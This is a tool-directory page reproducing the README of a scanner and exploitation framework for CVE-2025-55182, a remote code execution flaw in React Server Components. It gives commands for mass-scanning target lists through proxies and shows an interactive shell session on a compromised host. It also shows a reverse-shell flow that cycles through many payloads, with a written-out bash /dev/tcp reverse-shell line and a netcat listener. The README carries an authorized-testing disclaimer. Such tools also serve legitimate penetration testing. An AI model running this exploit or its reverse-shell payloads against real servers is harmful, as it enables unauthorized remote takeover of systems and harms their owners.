Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182 — Critical RCE vulnerability scanner for React Server Components (CVE-2025-55182). Automated exploitation framework with multi-payload support, proxy capabilities, and interactive command execution. | Kitploit
Tools/GitHubGitHub/alihzsec/cve-2025-55182
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubalihzsec/cve-2025-55182

CVE-2025-55182

Critical RCE vulnerability scanner for React Server Components (CVE-2025-55182). Automated exploitation framework with multi-payload support, proxy capabilities, and interactive command execution.

View Repository
15139 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 Scanner & Exploiter

[!Warning] This repository is intended for educational and research purposes only.

  • Use the provided PoCs exclusively on systems you own or have explicit permission to test.
  • Unauthorized access, exploitation, or misuse of any material in this repository is illegal.
  • The author(s) assume no responsibility for any damages, misuse, or legal consequences resulting from improper use.

🔍 Overview

CVE-2025-55182 is a critical remote code execution vulnerability affecting React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0. This vulnerability stems from unsafe deserialization of HTTP request payloads to Server Function endpoints, allowing unauthenticated attackers to execute arbitrary code remotely.


🐛 Vulnerability Details

CVE ID: CVE-2025-55182
Affected Versions:

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0

🚀 Installation

Prerequisites

  • Python 3.8 or higher
  • pip (Python package manager)

Setup

  1. Clone the repository
root@kitploit:~
git clone https://github.com/AliHzSec/CVE-2025-55182.git
cd CVE-2025-55182
  1. Create a virtual environment (recommended)
root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
  1. Install dependencies
root@kitploit:~
pip install -r requirements.txt

📖 Usage

root@kitploit:~
python3 main.py [-h] (-d | -e) [-u URL] [-l LIST] [-p PROXY | -pl PROXY_LIST] [-t THREADS] [-s]

Arguments

Arguments

ArgumentDescription
-d, --detectionRun in detection mode (scan for vulnerabilities)
-e, --exploitRun in exploitation mode (exploit a single target)
-u, --url URLSingle target URL to scan/exploit
-l, --list FILEFile containing list of target URLs (detection mode only)
-p, --proxy URLSingle proxy URL (e.g., http://127.0.0.1:8080)
-pl, --proxy-list FILEFile containing list of proxy URLs (one per line)
-t, --threads NNumber of concurrent threads (default: 10, detection mode only)
-s, --silentSilent mode - only show vulnerable targets (detection mode only)
-o, --output [FILE]Save vulnerable targets to file (detection mode only). If no filename provided, uses default: CVE-2025-55182_Result_YYYYMMDD_HHMMSS.txt
--debugEnable debug logging - shows response details and retry attempts (not available in silent mode)

🎯 Detection Mode

Scan a Single Target

root@kitploit:~
python3 main.py -d -u https://example.com

Scan Multiple Targets from File

root@kitploit:~
python3 main.py -d -l targets.txt

Scan with Proxy

root@kitploit:~
python3 main.py -d -l targets.txt -p http://127.0.0.1:8080

Silent Mode (Output Only Vulnerable Targets)

root@kitploit:~
python3 main.py -d -l targets.txt -s

Multi-threaded Scanning

root@kitploit:~
python3 main.py -d -l targets.txt -t 20

💣 Exploitation Mode

Interactive Shell

root@kitploit:~
python3 main.py -e -u https://vulnerable-site.com

Then select [i] for interactive shell:

root@kitploit:~
Choose exploitation method:
  [i] Interactive shell
  [r] Reverse shell

Enter your choice (i/r): i

shell> whoami
ec2-user

shell> id
uid=1000(ec2-user) gid=1000(ec2-user) groups=1000(ec2-user)

shell> ls -la
total 48
drwxrwxr-x 5 user user 4096 Dec 7 10:00 .
drwxr-xr-x 3 root root 4096 Dec 1 08:00 ..
...

shell> exit

Reverse Shell

root@kitploit:~
python3 main.py -e -u https://vulnerable-site.com

Then select [r] for reverse shell and choose payload type:

Option 1: Default Payloads (Recommended)

root@kitploit:~
Choose exploitation method:
  [i] Interactive shell
  [r] Reverse shell

Enter your choice (i/r): r

Choose payload option:
  [d] Use default payloads (Try multiple reverse shells)
  [c] Provide custom payload

Enter your choice (d/c): d

Enter your IP and port in this format:
Example: 192.168.1.100:4444

IP:PORT> 192.168.1.100:4444

Setup your listener with this command:
nc -lvnp 4444

Press ENTER when your listener is ready...

The tool will automatically try 17+ different reverse shell payloads until one succeeds.

Option 2: Custom Payload

root@kitploit:~
Enter your choice (d/c): c

Enter your custom reverse shell payload:
payload> bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

📚 References

  • Official React Security Advisory
  • Meta Security Advisory
  • Vercel Security Advisory
  • Next.js Security Advisory
  • CVE Details

If you find this tool useful, please consider giving it a star! ⭐
Made with ❤️ for the security community
Download Tool